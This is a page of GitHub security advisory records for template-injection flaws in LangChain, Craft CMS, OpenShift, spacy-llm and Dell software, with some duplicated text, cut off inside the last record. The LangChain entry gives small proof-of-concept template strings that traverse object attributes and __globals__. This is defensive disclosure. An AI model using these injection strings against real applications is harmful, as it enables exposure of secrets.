# Raises SecurityError: Access to attributes is not allowed
Important Recommendation: Due to the expressiveness of Jinja2 and the difficulty of fully sandboxing it, we recommend reserving Jinja2 templates for trusted sources only. If you need to accept template strings from untrusted users, use f-string or mustache templates with the new restrictions instead.
While we've hardened the Jinja2 implementation, the nature of templating engines makes comprehensive sandboxing challenging. The safest approach is to only use Jinja2 templates when you control the template source.
Important Reminder: Many applications do not need prompt templates. Templates are useful for variable substitution and dynamic logic (if statements, loops, conditionals). However, if you're building a chatbot or conversational application, you can often work directly with message objects (e.g., HumanMessage, AIMessage, ToolMessage) without templates. Direct message construction avoids template-related security concerns entirely.
Remediation
Immediate Actions
- Audit your code for any locations where template strings come from untrusted sources
- Update to the patched version of
langchain-core - Review template usage to ensure separation between template structure and user data
Best Practices
- Consider if you need templates at all - Many applications can work directly with message objects (
HumanMessage,AIMessage, etc.) without templates - Reserve Jinja2 for trusted sources - Only use Jinja2 templates when you fully control the template content
Update: Jinja2 Restrictions Reverted
The Jinja2 hardening introduced in the initial patch has been reverted as of langchain-core 1.1.3. The restriction was not addressing a direct vulnerability but was part of broader defensive hardening. In practice, it significantly limited legitimate Jinja2 usage and broke existing templates. Since Jinja2 is intended to be used only with trusted template sources, the original behavior has been restored. Users should continue to avoid accepting untrusted template strings when using Jinja2, but no security issue exists with trusted templates.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.6"
},
"package": {
"ecosystem": "PyPI",
"name": "langchain-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.3.79"
},
"package": {
"ecosystem": "PyPI",
"name": "langchain-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.80"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65106"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-20T17:42:12Z",
"nvd_published_at": "2025-11-21T22:16:32Z",
"severity": "HIGH"
},
"details": "## Context\n\nA template injection vulnerability exists in LangChain\u0027s prompt template system that allows attackers to access Python object internals through template syntax. This vulnerability affects applications that accept **untrusted template strings** (not just template variables) in `ChatPromptTemplate` and related prompt template classes.\n\nTemplates allow attribute access (`.`) and indexing (`[]`) but not method invocation (`()`).\n\nThe combination of attribute access and indexing may enable exploitation depending on which objects are passed to templates. When template variables are simple strings (the common case), the impact is limited. However, when using `MessagesPlaceholder` with chat message objects, attackers can traverse through object attributes and dictionary lookups (e.g., `__globals__`) to reach sensitive data such as environment variables.\n\nThe vulnerability specifically requires that applications accept **template strings** (the structure) from untrusted sources, not just **template variables** (the data). Most applications either do not use templates or else use hardcoded templates and are not vulnerable.\n\n## Affected Components\n\n- `langchain-core` package\n- Template formats:\n - F-string templates (`template_format=\"f-string\"`) - **Vulnerability fixed**\n - Mustache templates (`template_format=\"mustache\"`) - **Defensive hardening**\n - Jinja2 templates (`template_format=\"jinja2\"`) - **Defensive hardening**\n\n### Impact\nAttackers who can control template strings (not just template variables) can:\n- Access Python object attributes and internal properties via attribute traversal\n- Extract sensitive information from object internals (e.g., `__class__`, `__globals__`)\n- Potentially escalate to more severe attacks depending on the objects passed to templates\n\n### Attack Vectors\n\n#### 1. F-string Template Injection\n**Before Fix:**\n```python\nfrom langchain_core.prompts import ChatPromptTemplate\n\nmalicious_template = ChatPromptTemplate.from_messages(\n [(\"human\", \"{msg.__class__.__name__}\")],\n template_format=\"f-string\"\n)\n\n# Note that this requires passing a placeholder variable for \"msg.__class__.__name__\".\nresult = malicious_template.invoke({\"msg\": \"foo\", \"msg.__class__.__name__\": \"safe_placeholder\"})\n# Previously returned\n# \u003e\u003e\u003e result.messages[0].content\n# \u003e\u003e\u003e \u0027str\u0027\n```\n\n#### 2. Mustache Template Injection\n**Before Fix:**\n```python\nfrom langchain_core.prompts import ChatPromptTemplate\nfrom langchain_core.messages import HumanMessage\n\nmsg = HumanMessage(\"Hello\")\n\n# Attacker controls the template string\nmalicious_template = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{question.__class__.__name__}}\")],\n template_format=\"mustache\"\n)\n\nresult = malicious_template.invoke({\"question\": msg})\n# Previously returned: \"HumanMessage\" (getattr() exposed internals)\n```\n\n#### 3. Jinja2 Template Injection\n**Before Fix:**\n```python\nfrom langchain_core.prompts import ChatPromptTemplate\nfrom langchain_core.messages import HumanMessage\n\nmsg = HumanMessage(\"Hello\")\n\n# Attacker controls the template string\nmalicious_template = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{question.parse_raw}}\")],\n template_format=\"jinja2\"\n)\n\nresult = malicious_template.invoke({\"question\": msg})\n# Could access non-dunder attributes/methods on objects\n```\n\n### Root Cause\n\n1. **F-string templates**: The implementation used Python\u0027s `string.Formatter().parse()` to extract variable names from template strings. This method returns the complete field expression, including attribute access syntax:\n ```python\n from string import Formatter\n\n template = \"{msg.__class__} and {x}\"\n print([var_name for (_, var_name, _, _) in Formatter().parse(template)])\n # Returns: [\u0027msg.__class__\u0027, \u0027x\u0027]\n ```\n The extracted names were not validated to ensure they were simple identifiers. As a result, template strings containing attribute traversal and indexing expressions (e.g., `{obj.__class__.__name__}` or `{obj.method.__globals__[os]}`) were accepted and subsequently evaluated during formatting. While f-string templates do not support method calls with `()`, they do support `[]` indexing, which could allow traversal through dictionaries like `__globals__` to reach sensitive objects.\n2. **Mustache templates**: By design, used `getattr()` as a fallback to support accessing attributes on objects (e.g., `{{user.name}}` on a User object). However, we decided to restrict this to simpler primitives that subclass dict, list, and tuple types as defensive hardening, since untrusted templates could exploit attribute access to reach internal properties like class on arbitrary objects\n3. **Jinja2 templates**: Jinja2\u0027s default `SandboxedEnvironment` blocks dunder attributes (e.g., `__class__`) but permits access to other attributes and methods on objects. While Jinja2 templates in LangChain are typically used with trusted template strings, as a defense-in-depth measure, we\u0027ve restricted the environment to block all attribute and method access on objects\n passed to templates.\n\n\n## Who Is Affected?\n\n### High Risk Scenarios\nYou are affected if your application:\n- Accepts template strings from untrusted sources (user input, external APIs, databases)\n- Dynamically constructs prompt templates based on user-provided patterns\n- Allows users to customize or create prompt templates\n\n**Example vulnerable code:**\n```python\n# User controls the template string itself\nuser_template_string = request.json.get(\"template\") # DANGEROUS\n\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", user_template_string)],\n template_format=\"mustache\"\n)\n\nresult = prompt.invoke({\"data\": sensitive_object})\n```\n\n### Low/No Risk Scenarios\nYou are **NOT** affected if:\n- Template strings are hardcoded in your application code\n- Template strings come only from trusted, controlled sources\n- Users can only provide **values** for template variables, not the template structure itself\n\n**Example safe code:**\n```python\n# Template is hardcoded - users only control variables\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", \"User question: {question}\")], # SAFE\n template_format=\"f-string\"\n)\n\n# User input only fills the \u0027question\u0027 variable\nresult = prompt.invoke({\"question\": user_input})\n```\n\n## The Fix\n\n### F-string Templates\nF-string templates had a clear vulnerability where attribute access syntax was exploitable. We\u0027ve added strict validation to prevent this:\n\n- Added validation to enforce that variable names must be valid Python identifiers\n- Rejects syntax like `{obj.attr}`, `{obj[0]}`, or `{obj.__class__}`\n- Only allows simple variable names: `{variable_name}`\n\n```python\n# After fix - these are rejected at template creation time\nChatPromptTemplate.from_messages(\n [(\"human\", \"{msg.__class__}\")], # ValueError: Invalid variable name\n template_format=\"f-string\"\n)\n```\n\n### Mustache Templates (Defensive Hardening)\nAs defensive hardening, we\u0027ve restricted what Mustache templates support to reduce the attack surface:\n\n- Replaced `getattr()` fallback with strict type checking\n- Only allows traversal into `dict`, `list`, and `tuple` types\n- Blocks attribute access on arbitrary Python objects\n\n```python\n# After hardening - attribute access returns empty string\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{msg.__class__}}\")],\n template_format=\"mustache\"\n)\nresult = prompt.invoke({\"msg\": HumanMessage(\"test\")})\n# Returns: \"\" (access blocked)\n```\n\n### Jinja2 Templates (Defensive Hardening)\nAs defensive hardening, we\u0027ve significantly restricted Jinja2 template capabilities:\n\n- Introduced `_RestrictedSandboxedEnvironment` that blocks **ALL** attribute/method access\n- Only allows simple variable lookups from the context dictionary\n- Raises `SecurityError` on any attribute access attempt\n\n```python\n# After hardening - all attribute access is blocked\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{msg.content}}\")],\n template_format=\"jinja2\"\n)\n# Raises SecurityError: Access to attributes is not allowed\n```\n\n**Important Recommendation**: Due to the expressiveness of Jinja2 and the difficulty of fully sandboxing it, **we recommend reserving Jinja2 templates for trusted sources only**. If you need to accept template strings from untrusted users, use f-string or mustache templates with the new restrictions instead.\n\nWhile we\u0027ve hardened the Jinja2 implementation, the nature of templating engines makes comprehensive sandboxing challenging. The safest approach is to only use Jinja2 templates when you control the template source.\n\n**Important Reminder**: Many applications do not need prompt templates. Templates are useful for variable substitution and dynamic logic (if statements, loops, conditionals). However, if you\u0027re building a chatbot or conversational application, you can often work directly with message objects (e.g., `HumanMessage`, `AIMessage`, `ToolMessage`) without templates. Direct message construction avoids template-related security concerns entirely.\n\n## Remediation\n\n### Immediate Actions\n\n1. **Audit your code** for any locations where template strings come from untrusted sources\n2. **Update to the patched version** of `langchain-core`\n3. **Review template usage** to ensure separation between template structure and user data\n\n### Best Practices\n\n- **Consider if you need templates at all** - Many applications can work directly with message objects (`HumanMessage`, `AIMessage`, etc.) without templates## Context\n\nA template injection vulnerability exists in LangChain\u0027s prompt template system that allows attackers to access Python object internals through template syntax. This vulnerability affects applications that accept **untrusted template strings** (not just template variables) in `ChatPromptTemplate` and related prompt template classes.\n\nTemplates allow attribute access (`.`) and indexing (`[]`) but not method invocation (`()`).\n\nThe combination of attribute access and indexing may enable exploitation depending on which objects are passed to templates. When template variables are simple strings (the common case), the impact is limited. However, when using `MessagesPlaceholder` with chat message objects, attackers can traverse through object attributes and dictionary lookups (e.g., `__globals__`) to reach sensitive data such as environment variables.\n\nThe vulnerability specifically requires that applications accept **template strings** (the structure) from untrusted sources, not just **template variables** (the data). Most applications either do not use templates or else use hardcoded templates and are not vulnerable.\n\n## Affected Components\n\n- `langchain-core` package\n- Template formats:\n - F-string templates (`template_format=\"f-string\"`) - **Vulnerability fixed**\n - Mustache templates (`template_format=\"mustache\"`) - **Defensive hardening**\n - Jinja2 templates (`template_format=\"jinja2\"`) - **Defensive hardening**\n\n### Impact\nAttackers who can control template strings (not just template variables) can:\n- Access Python object attributes and internal properties via attribute traversal\n- Extract sensitive information from object internals (e.g., `__class__`, `__globals__`)\n- Potentially escalate to more severe attacks depending on the objects passed to templates\n\n### Attack Vectors\n\n#### 1. F-string Template Injection\n**Before Fix:**\n```python\nfrom langchain_core.prompts import ChatPromptTemplate\n\nmalicious_template = ChatPromptTemplate.from_messages(\n [(\"human\", \"{msg.__class__.__name__}\")],\n template_format=\"f-string\"\n)\n\n# Note that this requires passing a placeholder variable for \"msg.__class__.__name__\".\nresult = malicious_template.invoke({\"msg\": \"foo\", \"msg.__class__.__name__\": \"safe_placeholder\"})\n# Previously returned\n# \u003e\u003e\u003e result.messages[0].content\n# \u003e\u003e\u003e \u0027str\u0027\n```\n\n#### 2. Mustache Template Injection\n**Before Fix:**\n```python\nfrom langchain_core.prompts import ChatPromptTemplate\nfrom langchain_core.messages import HumanMessage\n\nmsg = HumanMessage(\"Hello\")\n\n# Attacker controls the template string\nmalicious_template = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{question.__class__.__name__}}\")],\n template_format=\"mustache\"\n)\n\nresult = malicious_template.invoke({\"question\": msg})\n# Previously returned: \"HumanMessage\" (getattr() exposed internals)\n```\n\n#### 3. Jinja2 Template Injection\n**Before Fix:**\n```python\nfrom langchain_core.prompts import ChatPromptTemplate\nfrom langchain_core.messages import HumanMessage\n\nmsg = HumanMessage(\"Hello\")\n\n# Attacker controls the template string\nmalicious_template = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{question.parse_raw}}\")],\n template_format=\"jinja2\"\n)\n\nresult = malicious_template.invoke({\"question\": msg})\n# Could access non-dunder attributes/methods on objects\n```\n\n### Root Cause\n\n1. **F-string templates**: The implementation used Python\u0027s `string.Formatter().parse()` to extract variable names from template strings. This method returns the complete field expression, including attribute access syntax:\n ```python\n from string import Formatter\n\n template = \"{msg.__class__} and {x}\"\n print([var_name for (_, var_name, _, _) in Formatter().parse(template)])\n # Returns: [\u0027msg.__class__\u0027, \u0027x\u0027]\n ```\n The extracted names were not validated to ensure they were simple identifiers. As a result, template strings containing attribute traversal and indexing expressions (e.g., `{obj.__class__.__name__}` or `{obj.method.__globals__[os]}`) were accepted and subsequently evaluated during formatting. While f-string templates do not support method calls with `()`, they do support `[]` indexing, which could allow traversal through dictionaries like `__globals__` to reach sensitive objects.\n2. **Mustache templates**: By design, used `getattr()` as a fallback to support accessing attributes on objects (e.g., `{{user.name}}` on a User object). However, we decided to restrict this to simpler primitives that subclass dict, list, and tuple types as defensive hardening, since untrusted templates could exploit attribute access to reach internal properties like class on arbitrary objects\n3. **Jinja2 templates**: Jinja2\u0027s default `SandboxedEnvironment` blocks dunder attributes (e.g., `__class__`) but permits access to other attributes and methods on objects. While Jinja2 templates in LangChain are typically used with trusted template strings, as a defense-in-depth measure, we\u0027ve restricted the environment to block all attribute and method access on objects\n passed to templates.\n\n\n## Who Is Affected?\n\n### High Risk Scenarios\nYou are affected if your application:\n- Accepts template strings from untrusted sources (user input, external APIs, databases)\n- Dynamically constructs prompt templates based on user-provided patterns\n- Allows users to customize or create prompt templates\n\n**Example vulnerable code:**\n```python\n# User controls the template string itself\nuser_template_string = request.json.get(\"template\") # DANGEROUS\n\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", user_template_string)],\n template_format=\"mustache\"\n)\n\nresult = prompt.invoke({\"data\": sensitive_object})\n```\n\n### Low/No Risk Scenarios\nYou are **NOT** affected if:\n- Template strings are hardcoded in your application code\n- Template strings come only from trusted, controlled sources\n- Users can only provide **values** for template variables, not the template structure itself\n\n**Example safe code:**\n```python\n# Template is hardcoded - users only control variables\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", \"User question: {question}\")], # SAFE\n template_format=\"f-string\"\n)\n\n# User input only fills the \u0027question\u0027 variable\nresult = prompt.invoke({\"question\": user_input})\n```\n\n## The Fix\n\n### F-string Templates\nF-string templates had a clear vulnerability where attribute access syntax was exploitable. We\u0027ve added strict validation to prevent this:\n\n- Added validation to enforce that variable names must be valid Python identifiers\n- Rejects syntax like `{obj.attr}`, `{obj[0]}`, or `{obj.__class__}`\n- Only allows simple variable names: `{variable_name}`\n\n```python\n# After fix - these are rejected at template creation time\nChatPromptTemplate.from_messages(\n [(\"human\", \"{msg.__class__}\")], # ValueError: Invalid variable name\n template_format=\"f-string\"\n)\n```\n\n### Mustache Templates (Defensive Hardening)\nAs defensive hardening, we\u0027ve restricted what Mustache templates support to reduce the attack surface:\n\n- Replaced `getattr()` fallback with strict type checking\n- Only allows traversal into `dict`, `list`, and `tuple` types\n- Blocks attribute access on arbitrary Python objects\n\n```python\n# After hardening - attribute access returns empty string\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{msg.__class__}}\")],\n template_format=\"mustache\"\n)\nresult = prompt.invoke({\"msg\": HumanMessage(\"test\")})\n# Returns: \"\" (access blocked)\n```\n\n### Jinja2 Templates (Defensive Hardening)\nAs defensive hardening, we\u0027ve significantly restricted Jinja2 template capabilities:\n\n- Introduced `_RestrictedSandboxedEnvironment` that blocks **ALL** attribute/method access\n- Only allows simple variable lookups from the context dictionary\n- Raises `SecurityError` on any attribute access attempt\n\n```python\n# After hardening - all attribute access is blocked\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{msg.content}}\")],\n template_format=\"jinja2\"\n)\n# Raises SecurityError: Access to attributes is not allowed\n```\n\n**Important Recommendation**: Due to the expressiveness of Jinja2 and the difficulty of fully sandboxing it, **we recommend reserving Jinja2 templates for trusted sources only**. If you need to accept template strings from untrusted users, use f-string or mustache templates with the new restrictions instead.\n\nWhile we\u0027ve hardened the Jinja2 implementation, the nature of templating engines makes comprehensive sandboxing challenging. The safest approach is to only use Jinja2 templates when you control the template source.\n\n**Important Reminder**: Many applications do not need prompt templates. Templates are useful for variable substitution and dynamic logic (if statements, loops, conditionals). However, if you\u0027re building a chatbot or conversational application, you can often work directly with message objects (e.g., `HumanMessage`, `AIMessage`, `ToolMessage`) without templates. Direct message construction avoids template-related security concerns entirely.\n\n## Remediation\n\n### Immediate Actions\n\n1. **Audit your code** for any locations where template strings come from untrusted sources\n2. **Update to the patched version** of `langchain-core`\n3. **Review template usage** to ensure separation between template structure and user data\n\n### Best Practices\n\n- **Consider if you need templates at all** - Many applications can work directly with message objects (`HumanMessage`, `AIMessage`, etc.) without templates\n- **Reserve Jinja2 for trusted sources** - Only use Jinja2 templates when you fully control the template content\n\n## Update: Jinja2 Restrictions Reverted\n\nThe Jinja2 hardening introduced in the initial patch has been **reverted as of `langchain-core` 1.1.3**. The restriction was not addressing a direct vulnerability but was part of broader defensive hardening. In practice, it significantly limited legitimate Jinja2 usage and broke existing templates. Since Jinja2 is intended to be used only with **trusted template sources**, the original behavior has been restored. Users should continue to avoid accepting untrusted template strings when using Jinja2, but no security issue exists with trusted templates.",
"id": "GHSA-6qv9-48xg-fc7f",
"modified": "2025-12-09T17:15:16Z",
"published": "2025-11-20T17:42:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-6qv9-48xg-fc7f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65106"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/commit/c4b6ba254e1a49ed91f2e268e6484011c540542a"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/commit/fa7789d6c21222b85211755d822ef698d3b34e00"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langchain"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "LangChain Vulnerable to Template Injection via Attribute Access in Prompt Templates"
}
GHSA-742X-X762-7383
Vulnerability from github – Published: 2026-01-05 18:10 – Updated: 2026-01-06 15:52For this to work, users must have administrator access to the Craft Control Panel, and allowAdminChanges must be enabled for this to work, which is against Craft CMS' recommendations for any non-dev environment.
https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production
Alternatively, a non-administrator account with allowAdminChanges disabled can be used, provided access to the System Messages utility is available.
It is possible to craft a malicious payload using the Twig map filter in text fields that accept Twig input under Settings in the Craft control panel or using the System Messages utility, which could lead to a RCE.
Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.
References:
https://github.com/craftcms/cms/commit/d82680f4a05f9576883bb83c3f6243d33ca73ebe
https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.20"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.8.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.16.16"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.16.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68454"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-05T18:10:56Z",
"nvd_published_at": "2026-01-05T22:15:52Z",
"severity": "MODERATE"
},
"details": "For this to work, users must have administrator access to the Craft Control Panel, and [allowAdminChanges](https://craftcms.com/docs/5.x/reference/config/general.html#allowadminchanges) must be enabled for this to work, which is against Craft CMS\u0027 recommendations for any non-dev environment.\n\nhttps://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production\n\nAlternatively, a non-administrator account with allowAdminChanges disabled can be used, provided access to the System Messages utility is available.\n\nIt is possible to craft a malicious payload using the Twig `map` filter in text fields that accept Twig input under Settings in the Craft control panel or using the System Messages utility, which could lead to a RCE.\n\nUsers should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.\n\nReferences:\n\nhttps://github.com/craftcms/cms/commit/d82680f4a05f9576883bb83c3f6243d33ca73ebe\n\nhttps://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04",
"id": "GHSA-742x-x762-7383",
"modified": "2026-01-06T15:52:15Z",
"published": "2026-01-05T18:10:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-742x-x762-7383"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68454"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/d82680f4a05f9576883bb83c3f6243d33ca73ebe"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS vulnerable to potential authenticated Remote Code Execution via Twig SSTI"
}
GHSA-77C2-C35Q-254W
Vulnerability from github – Published: 2024-12-19 15:31 – Updated: 2024-12-19 22:18A flaw was found in the MustGather.managed.openshift.io Custom Defined Resource (CRD) of OpenShift Dedicated. A non-privileged user on the cluster can create a MustGather object with a specially crafted file and set the most privileged service account to run the job. This can allow a standard developer user to escalate their privileges to a cluster administrator and pivot to the AWS environment.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/openshift/must-gather"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20240604173837-d1557bc283dd"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-25131"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-19T22:18:27Z",
"nvd_published_at": "2024-12-19T15:15:07Z",
"severity": "HIGH"
},
"details": "A flaw was found in the MustGather.managed.openshift.io Custom Defined Resource (CRD) of OpenShift Dedicated. A non-privileged user on the cluster can create a MustGather object with a specially crafted file and set the most privileged service account to run the job. This can allow a standard developer user to escalate their privileges to a cluster administrator and pivot to the AWS environment.",
"id": "GHSA-77c2-c35q-254w",
"modified": "2024-12-19T22:18:27Z",
"published": "2024-12-19T15:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25131"
},
{
"type": "WEB",
"url": "https://github.com/openshift/must-gather-operator/pull/135"
},
{
"type": "WEB",
"url": "https://github.com/openshift/must-gather-operator/pull/138"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-25131"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2258856"
},
{
"type": "PACKAGE",
"url": "https://github.com/openshift/must-gather-operator"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenShift Must Gather Operator Improper Input Validation vulnerability"
}
GHSA-793V-GXFP-9Q9H
Vulnerability from github – Published: 2025-03-05 21:32 – Updated: 2025-04-02 22:59A Server-Side Template Injection (SSTI) vulnerability in Spacy-LLM v0.7.2 allows attackers to execute arbitrary code via injecting a crafted payload into the template field.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.7.2"
},
"package": {
"ecosystem": "PyPI",
"name": "spacy-llm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.7.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-25362"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-05T22:21:46Z",
"nvd_published_at": "2025-03-05T21:15:19Z",
"severity": "HIGH"
},
"details": "A Server-Side Template Injection (SSTI) vulnerability in Spacy-LLM v0.7.2 allows attackers to execute arbitrary code via injecting a crafted payload into the template field.",
"id": "GHSA-793v-gxfp-9q9h",
"modified": "2025-04-02T22:59:09Z",
"published": "2025-03-05T21:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25362"
},
{
"type": "WEB",
"url": "https://github.com/explosion/spacy-llm/issues/492"
},
{
"type": "WEB",
"url": "https://github.com/explosion/spacy-llm/pull/491"
},
{
"type": "WEB",
"url": "https://github.com/explosion/spacy-llm/commit/8bde0490cc1e9de9dd2e84480b7b5cd18a94d739"
},
{
"type": "PACKAGE",
"url": "https://github.com/explosion/spacy-llm"
},
{
"type": "WEB",
"url": "https://www.hacktivesecurity.com/blog/2025/04/01/cve-2025-25362-old-vulnerabilities-new-victims-breaking-llm-prompts-with-ssti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Spacy-LLM Server-Side Template Injection (SSTI) vulnerability"
}
GHSA-79RG-2HX6-CPCP
Vulnerability from github – Published: 2026-01-23 12:30 – Updated: 2026-01-23 12:30Dell Data Protection Advisor, versions prior to 19.12, contains an Improper Neutralization of Special Elements Used in a Template Engine vulnerability in the Server. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information exposure.
{
"affected": [],
"aliases": [
"CVE-2025-46699"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-23T10:15:52Z",
"severity": "MODERATE"
},
"details": "Dell Data Protection Advisor, versions prior to 19.12, contains an Improper Neutralization of Special Elements Used in a Template Engine vulnerability in the Server. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information exposure.",
"id": "GHSA-79rg-2hx6-cpcp",
"modified": "2026-01-23T12:30:28Z",
"published": "2026-01-23T12:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46699"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000281732/dsa-2025-075-security-update-for-dell-data-protection-advisor-for-multiple-component-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7C58-G782-9J38
Vulnerability from github – Published: 2025-05-05 19:35 – Updated: 2025-05-05 22:07Craft CMS contains a potential remote code execution vulnerability via Twig SSTI. You must have administrator access and ALLOW_ADMIN_CHANGES must be enabled for this to work.
https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production
Note: This is a follow-up to https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv
Users should update to the patched versions (4.14.13 and 5.6.15) to mitigate the issue.
References
https://github.com/craftcms/cms/pull/17026
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.14.12"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.14.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.6.14"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.6.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46731"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-05T19:35:37Z",
"nvd_published_at": "2025-05-05T20:15:21Z",
"severity": "HIGH"
},
"details": "Craft CMS contains a potential remote code execution vulnerability via Twig SSTI. You must have administrator access and `ALLOW_ADMIN_CHANGES` must be enabled for this to work.\n\nhttps://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production\n\nNote: This is a follow-up to https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv\n\nUsers should update to the patched versions (4.14.13 and 5.6.15) to mitigate the issue.\n\n### References\nhttps://github.com/craftcms/cms/pull/17026",
"id": "GHSA-7c58-g782-9j38",
"modified": "2025-05-05T22:07:56Z",
"published": "2025-05-05T19:35:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-7c58-g782-9j38"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46731"
},
{
"type": "WEB",
